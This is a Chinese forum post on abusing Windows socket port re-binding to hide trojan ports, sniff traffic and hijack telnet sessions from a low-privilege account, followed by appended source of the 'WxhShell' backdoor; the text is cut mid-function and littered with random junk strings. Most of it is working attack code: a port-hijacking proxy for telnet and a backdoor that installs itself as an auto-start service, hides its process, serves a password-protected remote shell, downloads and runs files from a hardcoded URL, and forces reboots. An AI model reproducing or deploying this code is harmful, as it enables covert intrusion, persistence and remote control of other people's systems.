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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: |1<Z3\+_/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +nZG!nP  
#-f^;=7  
  saddr.sin_family = AF_INET; 5-3gsy/Mo  
^7''x,I  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); U)PumU+z$u  
0Gs]>B4r/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); b gD Dys  
<n:?WP~U  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \c\=S  
ueg X  
  这意味着什么?意味着可以进行如下的攻击: Grub1=6l  
+]e4c;`ko}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]e3nnS1*.  
kL3=7t^ 1  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [T^6Kzz  
Sh*P^i.]+  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^\6UTnS.  
TSk6Q'L\v  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  i :$g1  
.) GVb<w  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >mV""?r]  
SeTU`WLEm  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Cn<kl^!Q-  
k^]~NP  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;i:7E#@  
' #mC4\<W8  
  #include FV9RrI2  
  #include }*t~&l0  
  #include cs5Xd  
  #include    p~b$+8#+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   19vD(KC<  
  int main() Mzd}9x$'J  
  { :W&\})  
  WORD wVersionRequested; Pn#Lymxh_a  
  DWORD ret; pZjFpd|  
  WSADATA wsaData; [~o3S$C&7  
  BOOL val; Q4PXC$u  
  SOCKADDR_IN saddr; KJ~pY<a?  
  SOCKADDR_IN scaddr; X ,   
  int err; ,rdM{ r  
  SOCKET s; G~]BC#nB_  
  SOCKET sc; 3 /e !7  
  int caddsize; z W _'sC  
  HANDLE mt; YH>n{o;- ?  
  DWORD tid;   ;@ e |}Gk  
  wVersionRequested = MAKEWORD( 2, 2 ); :+=*  
  err = WSAStartup( wVersionRequested, &wsaData ); IviWS84  
  if ( err != 0 ) { k?#6j1pn  
  printf("error!WSAStartup failed!\n"); 40E[cGz$*  
  return -1; neBkwXF!  
  } ;:4puv+]  
  saddr.sin_family = AF_INET; '$zFGq }}  
   >xjy P!bca  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <b\urtoJ  
MI}D%n*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qSd $$L^  
  saddr.sin_port = htons(23); t|m3b~Oyv  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r:cUAe7#  
  { 4HJrR^  
  printf("error!socket failed!\n"); m+=!Z|K  
  return -1; S`G\Cd;5  
  } [ZbK)L+_  
  val = TRUE; {;zPW!G  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 4l*&3Ar  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) v+G:,Tc"  
  { ;GAYcVB  
  printf("error!setsockopt failed!\n"); E(8g(?4  
  return -1; xlLS`  
  } rBf?kDt6l  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Ydx5kUJV<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1dcy+ !>  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 MlZ`g,{  
cOQy|v`KD,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) nM`)`!/  
  { A M2M87{t  
  ret=GetLastError(); Exr7vL  
  printf("error!bind failed!\n"); 7E95"B&w  
  return -1; R;o_*  
  } ||V:',#,W  
  listen(s,2); -eMRxa>  
  while(1) qAS^5|(b[  
  { :m\KQ1sq  
  caddsize = sizeof(scaddr); u_B SWhiW  
  //接受连接请求 hqPn~Tq  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); q*O KA5  
  if(sc!=INVALID_SOCKET) YYHm0pc  
  { .IXwa,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); y#+o*(=fRE  
  if(mt==NULL) F?=u:  
  { <B`V  
  printf("Thread Creat Failed!\n"); 4lA+V,#  
  break; K^H t$04  
  } lI 1lP 1  
  } lNb\^b  
  CloseHandle(mt); zTLn*?  
  } Sg-xm+iSDt  
  closesocket(s); Q-v[O4 y~  
  WSACleanup(); lND[anB!  
  return 0; T8-$[ 2  
  }   :3f2^(b~^  
  DWORD WINAPI ClientThread(LPVOID lpParam) ' T]oV~H  
  { &iZYBa  
  SOCKET ss = (SOCKET)lpParam; >Il`AR;D  
  SOCKET sc; +0Gep}&z.  
  unsigned char buf[4096]; Kcl$|T  
  SOCKADDR_IN saddr; QGd- 9UEA]  
  long num; p0K;m%  
  DWORD val; ]aNnY?qW5  
  DWORD ret; <Z' hZ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 iC-ABOOu{l  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4:$>,D\  
  saddr.sin_family = AF_INET; B! V{.p  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Ef.4.iDJrR  
  saddr.sin_port = htons(23); fXe-U='  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) fP58$pwu  
  { (, "E9.  
  printf("error!socket failed!\n"); $8k_M   
  return -1; keskD  
  } NrcCUZ .:N  
  val = 100; LltguNM$  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4&e@>  
  { ?LI9F7n  
  ret = GetLastError(); p8l#=]\ ;  
  return -1; L?x?+HPY.  
  } Z@!W? Ed  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I&8m5F?$`  
  { Nl`ry2"<  
  ret = GetLastError(); C4]%pi  
  return -1; G4' U;  
  } cg0 0t+  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Q/)ok$A&  
  { f)Q]{cb6  
  printf("error!socket connect failed!\n"); rz{'X d  
  closesocket(sc); `aL|qyrq#  
  closesocket(ss); A@(h!Cq  
  return -1; T+RI8.#o  
  } '*u;:[73  
  while(1) + f!,K  
  { F|TMpH/  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "R@N|Qx'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 MdZgS#`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 dM{~Ubb  
  num = recv(ss,buf,4096,0); mwH!:f  
  if(num>0) x9l0UD*+g  
  send(sc,buf,num,0); PMs_K"-K  
  else if(num==0) j#t8Krd] "  
  break; ^G&D4uZ  
  num = recv(sc,buf,4096,0); ?K {1S  
  if(num>0) JZ/O0PW  
  send(ss,buf,num,0); bs EpET  
  else if(num==0) W'h0Zg  
  break; ^!o}>ls['  
  } AUsQj\Nm%  
  closesocket(ss); Fx5d@WNa>  
  closesocket(sc); 2 pa3}6P+  
  return 0 ; P lH`(n#  
  } $'YKB8C  
ggc?J<Dv  
w/5^R  
========================================================== @B[Cc`IN"  
\&&(ytL  
下边附上一个代码,,WXhSHELL ) Zo_6%  
9,f<Nb(\  
========================================================== L8wcH  
@[tV_Z%,b  
#include "stdafx.h" heZy 66  
Q4Fq=kTE  
#include <stdio.h> UvJuOh+  
#include <string.h> &v5.;8u+OV  
#include <windows.h> _iJXp0g  
#include <winsock2.h> 8KwC wv  
#include <winsvc.h> ;'QY<,p[e  
#include <urlmon.h> q|i%)V`)-  
$?J+dB  
#pragma comment (lib, "Ws2_32.lib") igB rmaY'  
#pragma comment (lib, "urlmon.lib")  G].__]  
gT&'i(c  
#define MAX_USER   100 // 最大客户端连接数 #z!Hb&Qi\  
#define BUF_SOCK   200 // sock buffer M#VC3h$  
#define KEY_BUFF   255 // 输入 buffer I9un  
%M#?cmt  
#define REBOOT     0   // 重启 C]yQ "b  
#define SHUTDOWN   1   // 关机 h^+C)6(58n  
Ocwp]Mut&  
#define DEF_PORT   5000 // 监听端口 x2;i< |  
.um&6Q=2<  
#define REG_LEN     16   // 注册表键长度 ^M"z1B]  
#define SVC_LEN     80   // NT服务名长度 bk"k&.C^+  
15KV} ){  
// 从dll定义API M&/aJRBS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }"?nU4q;S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )w2K&Zr0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J4v0O="  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gZlw  
\D U^idp#  
// wxhshell配置信息 (;pi"/x[  
struct WSCFG { M ?xpwqu\  
  int ws_port;         // 监听端口 zf3:<CRX5  
  char ws_passstr[REG_LEN]; // 口令 Va@6=U7c  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ft;u\KT  
  char ws_regname[REG_LEN]; // 注册表键名 X')Zm+  
  char ws_svcname[REG_LEN]; // 服务名 3<Z'F}lg  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 AwXt @!(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kg: uGP9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Fu4EEi  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5rmlAq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Cb{A:\>Q{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $HBT%g@UN  
juMxl  
}; :Wg-@d  
(#bp`Kih  
// default Wxhshell configuration 8VuZ,!WH#  
struct WSCFG wscfg={DEF_PORT, l{6` k<J(  
    "xuhuanlingzhe", wY3|#P CDV  
    1, b-BM"~N'  
    "Wxhshell", p2x1xv  
    "Wxhshell", $xA J9_2P  
            "WxhShell Service", ~llMrl7  
    "Wrsky Windows CmdShell Service", q11QAx4p  
    "Please Input Your Password: ", uKbHFF  
  1, @q+cm JKv  
  "http://www.wrsky.com/wxhshell.exe", j&dx[4|m:h  
  "Wxhshell.exe" vS$oT]-hKE  
    }; * {gxI<   
dY/u<4  
// 消息定义模块 +[whh  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tS (i711  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @ )vy'qP d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; f2 ydL/M,  
char *msg_ws_ext="\n\rExit."; 9^PRX  
char *msg_ws_end="\n\rQuit."; 22GnbA7O  
char *msg_ws_boot="\n\rReboot..."; 4`8IFK  
char *msg_ws_poff="\n\rShutdown..."; to&N22a$  
char *msg_ws_down="\n\rSave to "; \5Vp6^  
lk_s!<ni  
char *msg_ws_err="\n\rErr!"; X'FEOF  
char *msg_ws_ok="\n\rOK!"; 6Z(*cf/s  
`10X5V@hP  
char ExeFile[MAX_PATH]; _{e&@ d  
int nUser = 0; qRPc %"  
HANDLE handles[MAX_USER]; /&]-I$G@  
int OsIsNt; >*`>0Q4y  
?ds f@\  
SERVICE_STATUS       serviceStatus; 3}B5hht "D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ADYx.8M|9i  
8cK\myn.  
// 函数声明 /M^V 2=  
int Install(void); 'Aj(i/CM  
int Uninstall(void); [jl2\3*  
int DownloadFile(char *sURL, SOCKET wsh); AanH{  
int Boot(int flag); ]{!!7Zz  
void HideProc(void); 6z#lN>Y-`  
int GetOsVer(void); u0XP(d H  
int Wxhshell(SOCKET wsl); Z|ZBKcmg  
void TalkWithClient(void *cs); XogvtK*  
int CmdShell(SOCKET sock); wJ+U[a  
int StartFromService(void); 2{t)DUs  
int StartWxhshell(LPSTR lpCmdLine); {)B9Z I{+A  
0)d?Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^\M dl  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,`<^F:xl  
_0,"vFdj  
// 数据结构和表定义 8 7RHA $?  
SERVICE_TABLE_ENTRY DispatchTable[] = :be:-b%K  
{ (R_CUH  
{wscfg.ws_svcname, NTServiceMain}, ?R;nL{  
{NULL, NULL} zmf"I[)  
}; /Hv* K&}M  
,b<9?PM  
// 自我安装 i8Fs0U4"  
int Install(void) 5<89Af&&K8  
{ cMDRWh  
  char svExeFile[MAX_PATH]; 2GSgG.%SSM  
  HKEY key; k)`$%[K8  
  strcpy(svExeFile,ExeFile); Z#-k.|}  
`n 3FT=  
// 如果是win9x系统,修改注册表设为自启动 \F 3C=M@:  
if(!OsIsNt) { S dIGU[fm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j%pCuC&"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \ V6   
  RegCloseKey(key); dh&W;zs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ovv ny$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `Kh]x9Z  
  RegCloseKey(key); tM&n3MWQ  
  return 0; *(k%MTG  
    } i"L }!5  
  } }0QN[$H!  
} k/G7.)C  
else { 'pan9PW  
XwcMt r*  
// 如果是NT以上系统,安装为系统服务 3brb*gI_b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  bH*@,EE  
if (schSCManager!=0) )ZH c$+fU  
{ &yE1U#J(  
  SC_HANDLE schService = CreateService 16I&7=S,  
  ( %=V"CJ$|  
  schSCManager, {3hqp*xl  
  wscfg.ws_svcname, 8N% z9b  
  wscfg.ws_svcdisp, ?*[\UC  
  SERVICE_ALL_ACCESS, Oe/6.h?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vQUZVq5M  
  SERVICE_AUTO_START, Iz#yQ`  
  SERVICE_ERROR_NORMAL, %yp5DD}|  
  svExeFile,  *p=fi  
  NULL, RI-A"cc6A  
  NULL, 7_DG 5nT  
  NULL, D!oZ?dGCo6  
  NULL, ]/Vh{d|I&  
  NULL )s7bJjT0=X  
  ); V1<ow'^i  
  if (schService!=0) aD2*.ln><  
  { tM)Iir*U#  
  CloseServiceHandle(schService); f`9JE8  
  CloseServiceHandle(schSCManager); ,j y<o+!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M;*$gV<x  
  strcat(svExeFile,wscfg.ws_svcname); *C\(wL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e^ QVn\<c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @g4Shlx|  
  RegCloseKey(key); =p]mX )I_  
  return 0; )!e3.C|V1W  
    } Y]N~vD  
  } }|Uj"e  
  CloseServiceHandle(schSCManager); |xh&p(  
} Z==!C=SBv  
} .U9 R> #  
M#xQW`-`  
return 1; )u;JwFstX  
} .d~\Ysve  
U;g S[8,p  
// 自我卸载 Sk\n;mL:  
int Uninstall(void) 4qt+uNe!  
{ -0$:|p?@^  
  HKEY key; 'w(y J  
^ Hg/P8q  
if(!OsIsNt) { eIg+PuQD]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f])M04<  
  RegDeleteValue(key,wscfg.ws_regname); 87i"   
  RegCloseKey(key); f ba&`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T"?Y5t`(  
  RegDeleteValue(key,wscfg.ws_regname); p* RC  
  RegCloseKey(key); ic E|.[  
  return 0; .s2$al  
  } Ry z?v<)h  
} +3;Ody"59  
} %ISq>A)%  
else { }B0sC%cm  
$2KK:{VX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >GXXjAIu/  
if (schSCManager!=0) bKMWWJf*'  
{ nL+p~Hi  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o'Wz*oY))\  
  if (schService!=0) O2.' -  
  { >7'+ye6z  
  if(DeleteService(schService)!=0) { i5"5&r7r  
  CloseServiceHandle(schService); /kB|1gFj  
  CloseServiceHandle(schSCManager);  DtWxr  
  return 0; Q(Gyq:L=>  
  } ([R")~`(l2  
  CloseServiceHandle(schService); _({@B`N}  
  } KlN/\N\  
  CloseServiceHandle(schSCManager); XE1$K_m  
} vT c7an6fy  
} YLOwQj'  
l4vTU=  
return 1; 4(=kE>n}  
} oQT2S>cm^  
B>z?ClH$R  
// 从指定url下载文件 "_< 9PM1t  
int DownloadFile(char *sURL, SOCKET wsh) 8[zb{PRu  
{ M-J<n>hl  
  HRESULT hr; sb^mLH] 3  
char seps[]= "/"; l!?yu]Yon  
char *token; *%!M4&  
char *file; u7s"0f`  
char myURL[MAX_PATH]; r\2vl8X~  
char myFILE[MAX_PATH]; 7 Wl-n  
~$<UE}qp  
strcpy(myURL,sURL); CqFeF?xd8h  
  token=strtok(myURL,seps); uSN"vpc4D  
  while(token!=NULL) Nxk(mec"  
  { 4w4^yQE  
    file=token; + P7o4]:/  
  token=strtok(NULL,seps); 7 [d ?  
  } ~_>cM c  
V.6)0fKZW  
GetCurrentDirectory(MAX_PATH,myFILE); m%QSapV  
strcat(myFILE, "\\"); B=n[)"5fBO  
strcat(myFILE, file); SV.z>p  
  send(wsh,myFILE,strlen(myFILE),0); s5D:  
send(wsh,"...",3,0); n2f6 p<8A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #HAC*n  
  if(hr==S_OK) < Ek/8x  
return 0; HYCuK48F[_  
else qMP1k7uG)  
return 1; G.\l qYrXU  
Kqg!,Sn|  
} 6na^]t~ncm  
TL0[@rr4  
// 系统电源模块 WsI>n  
int Boot(int flag) (R*j|HAw`X  
{ 8'#/LA[uPe  
  HANDLE hToken; jlqv2V7=/  
  TOKEN_PRIVILEGES tkp; /,s[#J   
}Fa%%}  
  if(OsIsNt) { W)*p2 #l  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5~H#(d<oZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ZmEEj-*7s  
    tkp.PrivilegeCount = 1; DyO$P#~?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G2:%g(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); DinPxtT?a  
if(flag==REBOOT) { W),l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) SA;#aj}rV  
  return 0; Y?K{(szo ?  
} d2N:^vvvR  
else { }TB(7bbd;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n,$z>  
  return 0; 2;2}wM[  
} -e*ZCwQ  
  } :E&g%'1  
  else { YXW%]Uy+  
if(flag==REBOOT) { (MLwQiop  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "V& I^YSc>  
  return 0; |[$~\MU  
} x/ *-P b-_  
else { +4))/` DA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;# uZhd  
  return 0; 5!X1G8h)uy  
} O|kOI?f  
} 9?<{_'  
aUU7{o_Z  
return 1; fCWGAO2  
} _S}A=hK'  
V  ~@^`Gd  
// win9x进程隐藏模块 ,%9df+5k  
void HideProc(void) uXjP`/R|  
{ m ci/'b Xt  
-7 U| a/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ocz G|_  
  if ( hKernel != NULL ) !C4!LZ0A  
  { "N?+VkZEv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u #w29Pm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (kv?33  
    FreeLibrary(hKernel); _)T5lEFl=  
  } r|u MovnV  
FRu]kZv2  
return; 'o_:^'c  
} P!G858V(  
0Hxmm@X2  
// 获取操作系统版本 jho**TQ P  
int GetOsVer(void) QX4ai3v  
{ 42J {aJVH  
  OSVERSIONINFO winfo; |yEa5rd?W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); BZ54*\t  
  GetVersionEx(&winfo); {X(:jAy  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <r#eL39I  
  return 1; V w||!d  
  else m,UGWR  
  return 0; :a ->0 l  
} pi<TFe@eG  
2;a(8^n  
// 客户端句柄模块 jRSUp E8  
int Wxhshell(SOCKET wsl) ="wzq+U  
{ y*pUlts<  
  SOCKET wsh; !$-\;<bZw  
  struct sockaddr_in client; ZOCDA2e(j  
  DWORD myID; }XO K,Hw  
0Z[oKXm1p  
  while(nUser<MAX_USER) ]vWKR."4  
{ [I!6PGx  
  int nSize=sizeof(client); 2EZb )&Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y2o?gug  
  if(wsh==INVALID_SOCKET) return 1; $6OkIP.  
WmY``  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~cTN~<{dq  
if(handles[nUser]==0) F *FwRj  
  closesocket(wsh); 3RLFp\i"s  
else %LVm3e9  
  nUser++; [W %$qZlP  
  } Dn&D!B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #]nx!*JNZ  
0U%f)mG  
  return 0; X/iT)R]b  
} vVE2m=!v  
1N7Kv4,  
// 关闭 socket ]QzGE8jp*  
void CloseIt(SOCKET wsh) %?e& WLS  
{ N(I&  
closesocket(wsh); %3NqSiMs  
nUser--; <B9C*M"4%  
ExitThread(0); 8"sb;  
} uwz)($~bp  
<Utnz)  
// 客户端请求句柄 B2-V@06  
void TalkWithClient(void *cs) Ecd;<$tk  
{ q#<^^4U  
0 stc9_O  
  SOCKET wsh=(SOCKET)cs; 9E>xIJ@J2T  
  char pwd[SVC_LEN]; ='`/BY(m[  
  char cmd[KEY_BUFF]; Re P|UH  
char chr[1]; X!e[GJ  
int i,j; $5Xh,DOg  
6d_'4B  
  while (nUser < MAX_USER) { yzqVz_Fi*W  
H&:jcgV*P  
if(wscfg.ws_passstr) { { ^cV lC_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); su*'d:L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %Ev4]}2C1  
  //ZeroMemory(pwd,KEY_BUFF); I 'V4D[H5  
      i=0; 0NS<?p~_S  
  while(i<SVC_LEN) { /YZr~|65  
E\Rhz]G(  
  // 设置超时 $GlWf  
  fd_set FdRead; b )B? F  
  struct timeval TimeOut; {q"OM*L(  
  FD_ZERO(&FdRead); "?V0$-DR  
  FD_SET(wsh,&FdRead); i_j[?.?X}  
  TimeOut.tv_sec=8; ;kY(<{2  
  TimeOut.tv_usec=0; &*+'>UEe5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "rx-_uK*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); O^oWG&Y;v  
vQ;Ex  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O8h%3&  
  pwd=chr[0]; V5UF3'3;}  
  if(chr[0]==0xd || chr[0]==0xa) { 0u;4%}pD  
  pwd=0; |Y?H A&  
  break; zd @m~V  
  } 19w*!FGX  
  i++; 7Zlw^'q$:L  
    } wK?vPS  
r>o63Q:  
  // 如果是非法用户,关闭 socket D)L+7N0D~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DGS$Ukz&T  
} '.:z&gSqx0  
6}d.5^7lr  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o,_? ^'@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n*2UnKaJ  
JpXlBEio%  
while(1) { Xu%'Z".>:  
MF5[lK9e  
  ZeroMemory(cmd,KEY_BUFF); wB.&}p9p  
0yD9SJn  
      // 自动支持客户端 telnet标准   |5lk9<z  
  j=0; be.*#[  
  while(j<KEY_BUFF) { E=nIRG|g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vSEuk}pk  
  cmd[j]=chr[0]; &L=suDe  
  if(chr[0]==0xa || chr[0]==0xd) { As'=tIro  
  cmd[j]=0; 4 o Fel.o  
  break; <0Xf9a8>  
  } \W~ N  
  j++; =vX/{C  
    } gEy?s8_,  
h1de[q)  
  // 下载文件 9Z4nAc  
  if(strstr(cmd,"http://")) { a<^v(r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~E17L]ete  
  if(DownloadFile(cmd,wsh)) 6 (]Dh;gC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e"|efE  
  else KVclhT<F  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]'&LGA`  
  } '=b/6@&  
  else { ;r<^a6B  
].-1v5  
    switch(cmd[0]) { h`^jyoF"(  
  dYJ(!V&  
  // 帮助 y [}.yyye  
  case '?': { Mk"^?%PxT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); os=e|vkB*  
    break; u_oaebOrpP  
  } k\5c|Wq|g  
  // 安装 ~%&LTX0s|  
  case 'i': { La`NPY_:>  
    if(Install()) "~sW"n(F_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >*35C`^  
    else (A9Fhun  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0X6YdW_2X  
    break; J')o|5S1N  
    } ~vm%6CABM  
  // 卸载 Z^3rLCa  
  case 'r': { m*&]!mM"0G  
    if(Uninstall()) o#3ly-ht  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aTH{'mN  
    else +$ 'Zf0U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &u$Q4  
    break; E(>=rD/+  
    } P3x8UR=fS  
  // 显示 wxhshell 所在路径 (7wc*#}  
  case 'p': { 5_GYrR2  
    char svExeFile[MAX_PATH]; M\uiq38  
    strcpy(svExeFile,"\n\r"); +%<(E  
      strcat(svExeFile,ExeFile); W+I!q:p4H  
        send(wsh,svExeFile,strlen(svExeFile),0); /:m-> T  
    break; em%4Ap  
    } Ni9/}bb  
  // 重启 n<LEler#M  
  case 'b': { ?WGA?J %2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %~4M+r6T  
    if(Boot(REBOOT)) -_=nDH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,LHn90S  
    else { .s?L^Z^  
    closesocket(wsh); ~~D{spMVO  
    ExitThread(0); ZgTW.<.%2  
    } {'7B6  
    break; - YEZ]:"  
    } ha]VWt%}  
  // 关机 *& BQTZ6  
  case 'd': { xQ f*  
